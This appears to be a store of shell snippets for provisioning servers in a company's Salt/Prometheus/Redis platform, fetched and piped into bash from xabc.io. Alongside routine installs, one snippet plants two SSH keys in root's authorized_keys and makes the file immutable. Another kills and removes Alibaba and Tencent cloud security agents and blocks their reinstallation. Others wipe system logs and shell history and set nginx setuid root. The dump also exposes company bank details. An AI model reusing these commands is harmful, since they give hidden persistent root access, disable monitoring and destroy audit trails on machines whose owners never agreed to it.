XABC18.207.252.123
mup [ -d /usr/lib/python2.7/site-packages/ywgx ]||mkdir -p /usr/lib/python2.7/site-packages/ywgx touch /usr/lib/python2.7/site-packages/ywgx/__init__.py wget -q https://service.xabcloud.com/zero/1/ywgx/xkk.so -O /usr/lib/python2.7/site-packages/ywgx/xkk.so wget -q https://service.xabcloud.com/zero/1/ywgx/xair.so -O /usr/lib/python2.7/site-packages/ywgx/xair.so wget -q https://service.xabcloud.com/zero/1/ywgx/xwebhook.so -O /usr/lib/python2.7/site-packages/ywgx/xwebhook.so wget -q https://service.xabcloud.com/zero/1/ywgx/xsentinel.so -O /usr/lib/python2.7/site-packages/ywgx/xsentinel.so
q echo doing... find / -empty -mtime +7 ! -path "/proc/*" -a ! -path "/sys/*" -a ! -path "/etc/*" ! -path "/boot/*" -type f -a -name "*.log" -delete for i in $(find `du -s /* --exclude={proc,etc,sys,boot,run,mnt}|sort -nr|head -7|awk '{print $2}'|tr '\n' ' '` -type f -a -name "*.log" ! -name ".xabc.log" -o -name "catalina.out");do echo $i;> $i;done
mrb pgrep sentinel.py|xargs kill -9 pgrep gunicorn|xargs kill -9 sleep 2 pgrep gunicorn||(cd /srv/zero/1/webhook && gunicorn -c gun.conf webhook:app) /srv/zero/sentinel.py &>/var/log/xabc.log &
dl [ -d /srv/zero/1 ]||mkdir -p /srv/zero/1 wget -q https://s.xabcloud.com/matrix/dl.tgz -O -|tar xzf - -C /srv/zero/1 pgrep dl.py|xargs kill -9 sleep 2 /srv/zero/1/dl/dl.py &>/dev/null &
c curl -s xabc.io/k|bash rm -f /etc/motd sed -i '/qcloud/d' /etc/rc.local hostnamectl --static set-hostname central-18.207.252.123; yum -y update yum -y install epel-release yum -y install wget gcc gcc-c++ make vim pcre-devel libffi-devel openssl-devel python-devel libevent-devel postgresql-devel readline-devel perl-ExtUtils-Embed iptables iptables-services inotify-tools bzip2 unzip rsync yum -y install bash-completion yum -y install python-pip yum -y install ansible yum -y install ntp yum -y erase sudo yum clean all wget -q https://s.xabcloud.com/matrix/xabc.sh -O /etc/profile.d/xabc.sh chmod 644 /etc/profile.d/xabc.sh wget -q https://s.xabcloud.com/file/vim.tgz -O -|tar xzf - -C ~ [ -d /root/.pip ]||mkdir -p /root/.pip wget -q https://s.xabcloud.com/file/pip.conf -O /root/.pip/pip.conf pip install pip==9.0.3 pip install --upgrade setuptools==30.1.0 pip install --upgrade Cython redis pyinotify pyOpenSSL salt-pepper pip uninstall -y urllib3 chardet pip install functions pip install gunicorn pip install tornado==5.1.1 pip install tornadio2 pip install tornado_jinja2 pip install sqlalchemy_utils pip install psycopg2-binary pip install Pillow pip install paramiko pip install sqlalchemy pip install influxdb pip install futures pip install flask pip install yapf pip install mako pip install setproctitle pip install ujson pip install --upgrade requests wget -q https://s.xabcloud.com/file/salt-latest.repo -O /etc/yum.repos.d/salt-latest.repo yum -y install salt-master salt-minion salt-ssh chattr -ai /etc/salt/minion_id &>/dev/null echo `hostname` > /etc/salt/minion_id systemctl enable salt-master.service wget -q https://s.xabcloud.com/matrix/master -O /etc/salt/master [ -d /srv/zero/2 ]||mkdir -p /srv/zero/2 wget -q https://s.xabcloud.com/matrix/node.tgz -O -|tar xzf - -C /srv/zero/2 ln -fs /srv/zero/2/node/bin/npm /usr/bin/npm ln -fs /srv/zero/2/node/bin/node /usr/bin/node [ -d /srv/zero/1 ]||mkdir -p /srv/zero/1 wget -q https://s.xabcloud.com/matrix/matrix.tgz -O -|tar xzf - -C /srv/zero/1 [ -d /srv/zero ]||mkdir -p /srv/zero [ -d /srv/salt/user ]||mkdir -p /srv/salt/user wget -q https://s.xabcloud.com/matrix/R.tgz -O -|tar xzf - -C /srv/zero wget -q https://s.xabcloud.com/matrix/O.tgz -O -|tar xzf - -C /srv/zero wget -q https://s.xabcloud.com/matrix/P.tgz -O -|tar xzf - -C /srv/zero chmod 100 /srv/zero/2/redis/bin/* ln -fs /srv/zero/2/redis/bin/redis-cli /usr/local/bin/ id -u nobody &>/dev/null||useradd nobody -r -s /bin/false groupadd -f nobody &>/dev/null chown root.nobody /srv/zero/0/openresty/nginx/sbin/nginx chmod +xs /srv/zero/0/openresty/nginx/sbin/nginx chattr -ai /etc/{passwd,shadow,group,gshadow,services} yum install -y postgresql-server service postgresql initdb service postgresql start service salt-master start chkconfig postgresql on systemctl enable ntpd chattr +ai /etc/{passwd,shadow,group,gshadow,services} [ -e /etc/ssh/ssh_host_dsa_key ]||ssh-keygen -q -t dsa -P '' -f /etc/ssh/ssh_host_dsa_key chmod 755 /etc/rc.d/rc.local chkconfig rpcbind off &>/dev/null systemctl disable salt-minion.service pip uninstall -y urllib3 pip install --upgrade requests wget -q https://s.xabcloud.com/matrix/build.tgz -O -|tar xzf - -C /srv/salt rm -fr /var/log /var/cache/salt/minion /root/.bash_history curl -s xabc.io/a|bash curl -s xabc.io/py3|bash curl -s xabc.io/dl|bash IP=${SSH_CONNECTION% *};IP=${IP##* };[ -n "$IP" ]||IP=$(ip -o -f inet addr|grep -v 'lo '|grep -Po '(?<=inet ).*(?=\/)'|awk '/^10\.|^172\.|^192\.|^100\./'|head -1) REGION=$(curl -s --connect-timeout 5 https://ipinfo.io/18.207.252.123/city);[ -n "$REGION" ]||REGION="HZ" printf "\033[1;32;40m%s\033[0m\n" "Login 和 Central 机器在同一个内网请在 Login 机器执行 # curl -s xabc.io/l-$IP-$REGION|bash 继续完成对 Login 的基础部署" printf "\033[1;32;40m%s\033[0m\n-----------------\n" "Master 和 Central 机器在同一个内网请在 Master 机器执行 # curl -s xabc.io/m-$IP-$REGION|bash 继续完成对 Master 的基础部署" printf "\033[1;32;40m%s\033[0m\n" "Login 和 Central 机器不在同一内网请在 Login 机器执行 # curl -s xabc.io/l-18.207.252.123-$REGION|bash 继续完成对 Login 的基础部署" printf "\033[1;32;40m%s\033[0m\n" "Master 和 Central 机器不在同一内网请在 Master 机器执行 # curl -s xabc.io/m-18.207.252.123-$REGION|bash 继续完成对 Master 的基础部署" printf "\033[1;32;31m%s\033[0m\n" "特别说明 $REGION 这个字段代表网络区域信息,可根据实际情况改成自己机器所在区域标识信息,如Beijing"
ntp yum install -y ntp systemctl enable ntpd systemctl start ntpd timedatectl set-timezone Asia/Shanghai timedatectl set-ntp yes
python cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils yum -y install epel-release yum -y install bash-completion yum -y install python-devel python-pip fi if [ "$OS" = "Debian" ];then apt-get -y install python-dev python-pip fi
s curl -s xabc.io/a|bash mv /etc/ssh/sshd_config /etc/ssh/sshd_config.bk wget -q s.xabcloud.com/file/sshd_config -O /etc/ssh/sshd_config service sshd restart
master curl -s xabc.io/b|bash curl -s xabc.io/k|bash curl -s xabc.io/a|bash curl -s xabc.io/v|bash #mv /etc/ssh/sshd_config /etc/ssh/sshd_config.bk #wget -q s.xabcloud.com/master/sshd_config -O /etc/ssh/sshd_config #systemctl restart sshd.service [ -e /etc/rc.local ]&&sed -i '/qcloud/d' /etc/rc.local hostnamectl --static set-hostname master-18.207.252.123; yum -y update yum -y install epel-release yum -y install wget net-tools gcc gcc-c++ make vim openssl-devel libevent-devel python-devel libffi-devel iptables iptables-services inotify-tools unzip psmisc rsync bind-utils telnet openssh-clients yum -y install bash-completion yum -y install python-pip yum -y install ntp systemctl enable iptables.service systemctl enable ntpd ntpdate -u cn.pool.ntp.org [ -d /opt/sys ]||mkdir -p /opt/sys [ -d /opt/master ]||mkdir -p /opt/master [ -d /srv/salt ]||mkdir -p /srv/salt [ -d /srv/reactor ]||mkdir -p /srv/reactor [ -d /srv/zero ]||mkdir -p /srv/zero [ -d /root/.pip ]||mkdir -p /root/.pip [ -d /srv/pillar ]||mkdir -p /srv/pillar [ -d /root/.xabc ]||mkdir -p /root/.xabc [ -d /etc/ansible ]||mkdir -p /etc/ansible [ -d /srv/salt/src ]||mkdir -p /srv/salt/src [ -d /etc/sysctl.d ]||mkdir -p /etc/sysctl.d [ -d /srv/salt/files ]||mkdir -p /srv/salt/files [ -d /etc/salt/master.d ]||mkdir -p /etc/salt/master.d [ -d /srv/salt/base/files ]||mkdir -p /srv/salt/base/files [ -d /srv/salt/open/files ]||mkdir -p /srv/salt/open/files [ -d /srv/zero/1/webhook ]||mkdir -p /srv/zero/1/webhook [ -d /srv/zero/1/prometheus/conf/node ]||mkdir -p /srv/zero/1/prometheus/conf/node [ -e /usr/local/bin/xabcdl ]||wget -q https://s.xabcloud.com/master/xabcdl -O /usr/local/bin/xabcdl wget -q https://s.xabcloud.com/master/.bashrc -O /root/.bashrc wget -q https://s.xabcloud.com/file/pip.conf -O /root/.pip/pip.conf wget -q https://s.xabcloud.com/file/redis-cli -O /usr/local/bin/redis-cli wget -q https://s.xabcloud.com/master/xabc.sh -O /etc/profile.d/xabc.sh wget -q https://s.xabcloud.com/master/redisdl -O /usr/local/bin/redisdl pip install pip==9.0.3 pip install --upgrade setuptools==30.1.0 pip install --upgrade pyinotify pyOpenSSL pip install cffi pip install gunicorn pip install pyopenssl pip install flask pip install redis==3.0.1 pip uninstall -y urllib3 chardet pip install functions futures mako pip install --upgrade requests pip install --upgrade Cython chattr -ai /etc/passwd /etc/shadow /etc/group /etc/gshadow yum -y clean expire-cache yum clean all wget -q https://s.xabcloud.com/file/salt-latest.repo -O /etc/yum.repos.d/salt-latest.repo yum -y install salt-master salt-ssh yum -y install ansible systemctl enable salt-master.service chattr -ai /etc/salt/master wget -q https://s.xabcloud.com/master/master -O /etc/salt/master wget -q https://s.xabcloud.com/master/Saltfile -O /etc/salt/Saltfile wget -q https://s.xabcloud.com/master/reactor.conf -O /etc/salt/master.d/reactor.conf pip uninstall -y urllib3 pip install --upgrade requests [ -d /usr/lib/python2.7/site-packages/ywgx ]||mkdir -p /usr/lib/python2.7/site-packages/ywgx touch /usr/lib/python2.7/site-packages/ywgx/__init__.py wget -q https://service.xabcloud.com/zero/1/ywgx/xkk.so -O /usr/lib/python2.7/site-packages/ywgx/xkk.so wget -q https://service.xabcloud.com/zero/1/ywgx/xair.so -O /usr/lib/python2.7/site-packages/ywgx/xair.so wget -q https://service.xabcloud.com/zero/1/ywgx/xwebhook.so -O /usr/lib/python2.7/site-packages/ywgx/xwebhook.so wget -q https://service.xabcloud.com/zero/1/ywgx/xsentinel.so -O /usr/lib/python2.7/site-packages/ywgx/xsentinel.so wget -q https://s.xabcloud.com/matrix/O.tgz -O -|tar xzf - -C /srv/zero wget -q https://s.xabcloud.com/matrix/R.tgz -O -|tar xzf - -C /srv/zero wget -q https://s.xabcloud.com/matrix/P.tgz -O -|tar xzf - -C /srv/zero wget -q https://s.xabcloud.com/master/redis.conf -O /srv/zero/2/redis/conf/redis.conf wget -q https://s.xabcloud.com/master/nginx.conf -O /srv/zero/0/openresty/nginx/conf/nginx.conf wget -q https://s.xabcloud.com/master/rc.local -O /etc/rc.d/rc.local wget -q https://s.xabcloud.com/master/xabc-sysctl.conf -O /etc/sysctl.d/xabc.conf wget -q https://s.xabcloud.com/master/genkey.py -O /opt/sys/genkey.py wget -q https://s.xabcloud.com/master/kk.py -O /srv/zero/kk.py wget -q https://s.xabcloud.com/master/air.py -O /srv/zero/air.py wget -q https://s.xabcloud.com/master/sentinel.py -O /srv/zero/sentinel.py wget -q https://s.xabcloud.com/master/gun.conf -O /srv/zero/1/webhook/gun.conf wget -q https://s.xabcloud.com/master/webhook.py -O /srv/zero/1/webhook/webhook.py wget -q https://s.xabcloud.com/master/.prometheus.yml -O /srv/salt/files/.prometheus.yml wget -q https://s.xabcloud.com/master/.alertmanager.yml -O /srv/salt/files/.alertmanager.yml wget -q https://s.xabcloud.com/master/top.sls -O /srv/salt/top.sls wget -q https://s.xabcloud.com/master/pillar_top.sls -O /srv/pillar/top.sls wget -q https://s.xabcloud.com/master/custom.sls -O /srv/salt/base/custom.sls wget -q https://s.xabcloud.com/master/conf.py -O /usr/lib/python2.7/site-packages/ywgx/conf.py ln -s /srv/salt/files/.prometheus.yml /srv/zero/1/prometheus/prometheus.yml ln -s /srv/salt/files/.alertmanager.yml /srv/zero/1/prometheus/alertmanager/alertmanager.yml ln -s /srv/salt/files/.node_exporter_rules.yml /srv/zero/1/prometheus/node_exporter_rules.yml ln -s /srv/salt/files/.blackbox_exporter_rules.yml /srv/zero/1/prometheus/blackbox_exporter_rules.yml ln -s /srv/salt/files/node_exporter_targets.yml /srv/zero/1/prometheus/conf/node/node_exporter_targets.yml chmod +x /opt/sys/genkey.py /srv/zero/kk.py /srv/zero/sentinel.py /srv/zero/air.py /etc/rc.local /etc/rc.d/rc.local [ -e /srv/salt/base/files/cluster_id_rsa ]||/opt/sys/genkey.py id -u nobody &>/dev/null||useradd nobody -r -s /bin/false groupadd -f nobody &>/dev/null chown root.nobody /srv/zero/0/openresty/nginx/sbin/nginx chmod +xs /srv/zero/0/openresty/nginx/sbin/nginx chmod +x /usr/local/bin/redis-cli /usr/local/bin/redisdl /usr/local/bin/xabcdl wget -q https://s.xabcloud.com/file/vim.tgz -O -|tar xzf - -C ~ [ -e /etc/ssh/ssh_host_dsa_key ]||ssh-keygen -q -t dsa -P '' -f /etc/ssh/ssh_host_dsa_key chkconfig rpcbind off &>/dev/null rm -rf /var/log/* /var/cache/salt/minion /root/.bash_history chattr -ai /var/spool/cron/root &>/dev/null echo -e "*/5 * * * * pgrep redis-server||/srv/zero/2/redis/bin/redis-server /srv/zero/2/redis/conf/redis.conf\n*/5 * * * * pgrep sentinel.py||/srv/zero/sentinel.py &>/var/log/xabc.log &\n*/5 * * * * pgrep gunicorn||(cd /srv/zero/1/webhook && gunicorn -c gun.conf webhook:app)\n17 3 * * * /srv/zero/air.py" > /var/spool/cron/root chattr +ai /etc/passwd /etc/shadow /etc/group /etc/gshadow pgrep redis-server||/srv/zero/2/redis/bin/redis-server /srv/zero/2/redis/conf/redis.conf /srv/zero/air.py
d systemctl list-unit-files --type=service|grep enabled
e wget -q https://s.xabcloud.com/file/xabc.sh -O /etc/profile.d/xabc.sh;chmod 644 /etc/profile.d/xabc.sh
t ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'|grep -E '^10\.|^100\.|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-1]\.|^192\.168\.'|head -1
go wget -q https://s.xabcloud.com/file/go.tgz -O -|tar xzf - -C /usr/local wget -q https://s.xabcloud.com/file/xabc-go.sh -O /etc/profile.d/xabc-go.sh source /etc/profile
ip IP=${SSH_CONNECTION% *};IP=${IP##* };[ -n "$IP" ]||IP=$(ip -o -f inet addr|grep -v 'lo '|grep -Po '(?<=inet ).*(?=\/)'|awk '/^10\.|^172\.|^192\.|^100\./'|head -1);echo $IP
busybox [ -d /usr/local/bin ]||mkdir -p /usr/local/bin wget -q https://s.xabcloud.com/file/busybox -O /usr/local/bin/busybox chmod +x /usr/local/bin/busybox
g salt \* saltutil.sync_grains
wordpress cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" chattr -ai /etc/passwd /etc/shadow /etc/group /etc/gshadow id -u nobody &>/dev/null||useradd nobody -r -s /bin/false groupadd -f nobody &>/dev/null if [ "$OS" = "RedHat" ] then yum -y install yum-utils yum -y install epel-release yum -y install vim wget bzip2 unzip rsync yum -y localinstall https://mirror.webtatic.com/yum/el7/webtatic-release.rpm wget -q https://s.xabcloud.com/file/MariaDB.repo -O /etc/yum.repos.d/MariaDB.repo yum -y install MariaDB-server MariaDB-client yum -y install php72w yum -y install php72w-cli php72w-common php72w-devel php72w-mysql php72w-fpm yum -y install php72w-gd php72w-imap php72w-ldap php72w-odbc php72w-pear php72w-xml php72w-xmlrpc php72w-mbstring php72w-pdo systemctl start mariadb [ -d /etc/rc.d ]||mkdir -p /etc/rc.d [ -d /etc/php-fpm.d ]||mkdir -p /etc/php-fpm.d wget -t 3 https://s.xabcloud.com/file/RedHat-php.conf -O /etc/php-fpm.d/www.conf wget -t 3 https://s.xabcloud.com/file/wordpress-rc.local.conf -O /etc/rc.d/rc.local wget -t 3 https://s.xabcloud.com/file/mysql-server.cnf -O /etc/my.cnf.d/server.cnf chmod 755 /etc/rc.d/rc.local mysql <<- EOF set password for root@localhost=password('io'); create database wordpress; EOF systemctl restart mariadb systemctl restart php-fpm systemctl enable mariadb systemctl enable php-fpm fi if [ "$OS" = "Debian" ] then apt-get -y update apt-get -y install vim wget bzip2 unzip rsync apt-get -y remove apache2 apt-get -y install php7.[0-9] apt-get -y install php7.[0-9]-mysql php7.[0-9]-fpm apt-get -y install php7.[0-9]-gd php7.[0-9]-mbstring php7.[0-9]-xmlrpc apt-get -y install mysql-server --allow-unauthenticated mysql -pio<<- EOF create database wordpress; EOF wget -t 3 https://s.xabcloud.com/file/Debian-php.conf -O `find /etc/php/ -name www.conf` wget -t 3 https://s.xabcloud.com/file/wordpress-rc.local.conf -O /etc/rc.local chmod 755 /etc/rc.local systemctl restart mysql /etc/init.d/php*-fpm restart fi [ -d /opt/sys ]||mkdir -p /opt/sys [ -d /var/log/php-fpm ]||mkdir -p /var/log/php-fpm [ -d /var/log/mariadb ]||mkdir -p /var/log/mariadb wget -t 3 https://s.xabcloud.com/file/openresty-$OS.tgz -O -|tar xzf - -C /opt wget -t 3 https://s.xabcloud.com/file/wordpress-nginx.conf -O /opt/openresty/nginx/conf/nginx.conf wget -t 3 https://s.xabcloud.com/org/wordpress.tgz -O -|tar xzf - -C /opt wget -t 3 https://s.xabcloud.com/file/wordpress-start.sh -O /opt/sys/wordpress-start.sh chown -R nobody.nobody /opt/openresty chown -R nobody.nobody /opt/wordpress chown root.nobody /opt/openresty/nginx/sbin/nginx chmod +xs /opt/openresty/nginx/sbin/nginx chmod 700 /opt/sys/wordpress-start.sh pgrep nginx||/opt/openresty/nginx/sbin/nginx
base cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils yum -y install epel-release yum -y install bash-completion yum -y install gcc gcc-c++ make readline-devel pcre-devel openssl-devel perl yum -q -y install vim wget bzip2 unzip rsync psmisc net-tools bind-utils telnet openssh-clients fi if [ "$OS" = "Debian" ];then apt-get -y update apt-get -y install libreadline-dev libpcre3-dev libssl-dev cmake perl libncurses5-dev build-essential apt-get -q -y install vim wget bzip2 unzip rsync psmisc net-tools dnsutils telnet fi
uuid cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils yum -y install libuuid-devel fi if [ "$OS" = "Debian" ];then apt-get -y install uuid-dev fi
w echo wordpress
z if ! grep -q "ywgx" /root/.ssh/authorized_keys &>/dev/null then [ -e /root/.ssh/authorized_keys ]&&chattr -ai /root/.ssh/authorized_keys||mkdir -p -m 700 /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHZyWeFOHuHtLgsGLNx4sCYVXv/FfFi3ZcTSOSyX2oRgRm4xflPDgJHGSlCjtP2IluM6gG+o9+fS0WpcQkiaabe4wJVf5/hdFvJY7BgG4SslmdYGGtXKqFKXLq0pkuQQTnitBYQvAwEjBuHYB0KuuJG1XSss3ubzTZzoveeIVOJgamoGgm42D2G0ZOAH7ovRj3eFvjJImepaSJEDUe1SbNHoptSQvLMV+y5LDNb7xxRUk4hH09o/f2O9jxPbxL8f9nP94ZoT2XjVhvKRKVz51AHs9pNTry7ge4MSI5hlWSwjiFO+jJLuIiGdRGVxEzToMOkPBaH3HXs1pJHu+/9fqCwvgW4+Wp7FTBhPmX/9VSjGpO+uwlj3zRZHyDxs3Enup+Bok/WH9e5GLQj/KzWQD6s/6s0/9UC9YfZRU7E+uRvXf21zpAkmaGGQsOv5FV7ZqciYRn66dq65ahx2xmi4hkBoTrdP595lRPuQEOW1ziTI08pxU9eZA/f/s4AsQL/IHU9LkiA8gqGXlembuBxL20OietQTLn5AYev6rmU0m4IZ1yKu2AzT5gaG//8XuSGzT0o8ppvSgIalDBnS+W/2xQCc0xGY7yX51MIdc+E7edWw14VqL0ESXIHZfB7uOGOAMjfMP3GIoHOIatI+rsd8D30sKEEBXDYAgwu2yZgskGmw== ywgx" >> /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT36lNbtc7eqPC6KrrGoOJm43cGrTkLBfNJPuUVR7odSMBn53P5vjuG4BVeXP/yhiVAjerPrh/03e5xOoI5X1UD56H52XpXLoMkGGAR6uSRSNzjSgt1XBFREWBnOgsuw71ubltsfHKPBjnkwnMRePLD5aoMeTyvylhAxTMMLm3GPSCCTMII8bmuxTx8k1IJ8oW078ak6LeBOFFl/SOFiMeWSvqA21fi8gUMhWte3NN4trNUIDPdSprOZx1Yk4nnZh5jkrVv5iZX3DtrsaVhYegwK06VBRiycqDj32d1kOWyFBdhWHADMMoD4UAHnFxn+5igeRyS2yI9XFgQTQDaWw+cLvYe4wYr+pJ66Vk4v5f1AeOg/F4UewhJ4Sr/2AtZJOxgAhPv7gdyf4aDePfxlZwuUD+chMbntOZzUuaI5rU8uh4lWaNCG0eGvH0ul3pjS2p4FKJ378XKi87DcqGQLZJytjbMqc8NalTl/AbbMgjZbB8ZHpZAl2G1gq1uicAjMsm0j0nLmvAb6vPe9lQTp0Jb09yddM3VX9XtF15yz1Si1COu1I5nldEGc12nBFLxIRBEk6vaDZYo5gY14rdrWuiZ85j5I0vEUbiuFF3lzf+j0iHg3UgZcuYo5QFBiApyyWt1wDvHKnLE3FZVj0uSzscmZ5/4rk06ZAwCdwjzAXZCQ== xabc" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys chattr +ai /root/.ssh/authorized_keys fi wget -q https://s.xabcloud.com/file/vim.tgz -O -|tar xzf - -C /root wget -q https://s.xabcloud.com/file/xabc.sh -O /etc/profile.d/xabc.sh wget -q https://s.xabcloud.com/file/sa.tgz -O -|tar xzf - -C /opt
h cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" CPU=`cat /proc/cpuinfo|grep "processor"|wc -l` MEM=`free|awk '/Mem/ {print int(($2+1048576)/1048576)}'` echo "$OS $CPU $MEM"
reg T20190917
b cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ] then yum -q -y install vim wget bzip2 unzip rsync psmisc net-tools bind-utils telnet bash-completion fi if [ "$OS" = "Debian" ] then apt-get -q -y install vim wget bzip2 unzip rsync psmisc net-tools dnsutils telnet fi
i wget -q https://s.xabcloud.com/ywgx/vim.tgz -O -|tar xzf - -C ~ wget -q https://s.xabcloud.com/ywgx/.gitconfig -O ~/.gitconfig
f salt \* saltutil.refresh_pillar
to tail -f access.log|awk '$2 > 2 {print $0}'
u ip -o -f inet addr|grep -v 'lo '|grep -Po '(?<=inet ).*(?=\/)'|awk '/^10\.|^172\.|^192\.|^100\./'|head -1
y ip -o -f inet addr|grep -v 'lo '|grep -Po '(?<=inet ).*(?=\/)'|grep -E '^10\.|^100\.|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-1]\.|^192\.168\.'|head -1
v wget -q https://s.xabcloud.com/file/vim.tgz -O -|tar xzf - -C ~
acme wget https://s.xabcloud.com/file/acme.sh -O acme.sh;chmod +x acme.sh
so wget https://s.xabcloud.com/file/xabc.so -O `python -c "from distutils.sysconfig import get_python_lib; print (get_python_lib())"`/xabc.so
k chattr -ai -R /usr/local/{aegis,qcloud,cloudmonitor} &>/dev/null rm -rf /etc/motd &>/dev/null rm -fr /usr/local/{aegis,qcloud,cloudmonitor} &>/dev/null rm -rf /lib/systemd/system/aliyun.service &>/dev/null mkdir /usr/local/{aegis,cloudmonitor,qcloud} killall -9 sgagent &>/dev/null killall -9 barad_agent &>/dev/null killall -9 aliyun_assist_update &>/dev/null killall -9 aliyun_assist_update &>/dev/null killall -9 AliSecureCheckAdvanced &>/dev/null kill -9 `pidof YDLive` &>/dev/null kill -9 `pidof YDService` &>/dev/null kill -9 `pidof wrapper` &>/dev/null kill -9 `pidof AliYunDun` &>/dev/null kill -9 `pidof AliYunDunUpdate` &>/dev/null chattr +ai /usr/local/{aegis,cloudmonitor,qcloud}
tips TAB替换为空格: :se ts=4 :se et :%retab! 空格替换为TAB: :se ts=4 :se noet :%retab! rsync --daemon --config=./rsyncd.conf rsync -aq --progress root@repo.xabcstack.com::salt . return 301 https://$host$request_uri; awk '{ print $(NF-2) }' scp -P 12349 upload_file username@server echo "*/5 * * * * pgrep sentinel.py||/srv/zero/sentinel.py &>/var/log/xabc.log &" > /var/spool/cron/root for i in `find /root/.jenkins/jobs -maxdepth 6 -name "[0-9]*" -a -mtime +3`;do rm -rf $i;done */5 * * * * pgrep nginx||/opt/openresty/nginx/sbin/nginx Influxdata 数据备份和恢复 备份: influxd backup -database database_name 数据存储位置 influxd backup -database database_name -host localhost:8088 数据存储位置 # 远程备份 恢复元数据: influxd restore -metadir /var/lib/influxdb/meta/ 元数据存储位置 influxd restore -database database_name -datadir /var/lib/influxdb/data 数据存储位置 修改权限: chown -R influxdb:influxdb /var/lib/influxdb 重启influxdb: service influxdb stop service influxdb start 磁盘挂载 1. fdisk -l 2. mkfs.ext4 /dev/vd{x} 3. mount /dev/vd{x} /media 4. vim /etc/fstab /dev/vd{x} /media ext4 defaults 0 0 通过redis-cli导入数据 通过在ECS上的redis-cli,可将用户ECS上原有的数据导入到云数据库Redis版中,操作代码为: # redis-cli -h old_instance_ip -p old_instance_port config set appendonly yes # redis-cli -h aliyun_redis_instance_ip -p 6379 -a password --pipe < appendonly.aof iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables -t mangle -I POSTROUTING -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1024 pgrep rouge-process|xagrs kill -9 use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES; se et ts=4 sts=4 sw=4
prb pgrep prometheus|xargs kill -9 pgrep alertmanager|xargs kill -9 sleep 2 /srv/zero/1/prometheus/alertmanager/alertmanager --config.file=/srv/zero/1/prometheus/alertmanager/alertmanager.yml --storage.path=/srv/zero/1/prometheus/alertmanager/data &>/srv/zero/1/prometheus/logs/alertmanager.log & /srv/zero/1/prometheus/prometheus --config.file=/srv/zero/1/prometheus/prometheus.yml --storage.tsdb.path=/srv/zero/1/prometheus/data --web.enable-lifecycle &>/srv/zero/1/prometheus/logs/prometheus.log &
r echo doing... cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" wget -q https://s.xabcloud.com/src/redis.tgz -O -|tar xzf - -C /tmp mv /tmp/redis/files/redis-$OS /opt/redis rm -rf /tmp/redis/ mkdir -p /opt/redis/conf wget -q https://s.xabcloud.com/file/redis.conf -O /opt/redis/conf/redis.conf chmod 100 /opt/redis/bin/* echo "/opt/redis"
tcp netstat -n|awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
rb [ -e /home/ywgx/1/filelist/config.yml ]||wget -q s.xabcloud.com/file/config.yml -O /home/ywgx/1/filelist/config.yml pgrep filelist.py|xargs kill -9 sleep 2 cd /home/ywgx/1/filelist/;./filelist.py &>/home/ywgx/logs/filelist.log &
xabc #企业名称: 杭州悠云软件科技有限公司 #组织代码: 91330101MA27XUMRXP #对公银行: 3301040160005003176 (主卡号码: 6232652757100083871) #开户银行: 杭州银行下沙开发区支行 #注册地址: 杭州经济技术开发区宝龙商业中心1幢207室 #邮件地址: 浙江省杭州市下沙区朗诗国际街区东园2幢2单元1003室 #开户行支行联行号: 313331000645
py3 cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils yum -y install zlib-devel libffi-devel openssl-devel fi if [ "$OS" = "Debian" ];then apt -y install zlib1g-dev libffi-devel libssl-dev fi PYTHON_VER=3.7.3 mkdir -p /tmp/build&&cd /tmp/build wget -t 3 https://s.xabcloud.com/org/Python-$PYTHON_VER.tgz -O -|tar xzf - cd Python-$PYTHON_VER ./configure make && make install pip3 install bson markdown pyaml pyyaml numpy pymongo redis aiosmtplib uvloop pip3 install tornado==5.1.1 rm -fr /tmp/build
n hostnamectl --static set-hostname
m yum -q -y install wget wget -q https://s.xabcloud.com/file/salt-latest.repo -O /etc/yum.repos.d/salt-latest.repo yum -y install salt-minion systemctl enable salt-minion.service
mysql cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils wget -q https://s.xabcloud.com/file/MariaDB.repo -O /etc/yum.repos.d/MariaDB.repo yum -y install mariadb mariadb-server systemctl start mariadb systemctl enable mariadb mysql_secure_installation fi if [ "$OS" = "Debian" ];then apt-get -y install mysql-server fi
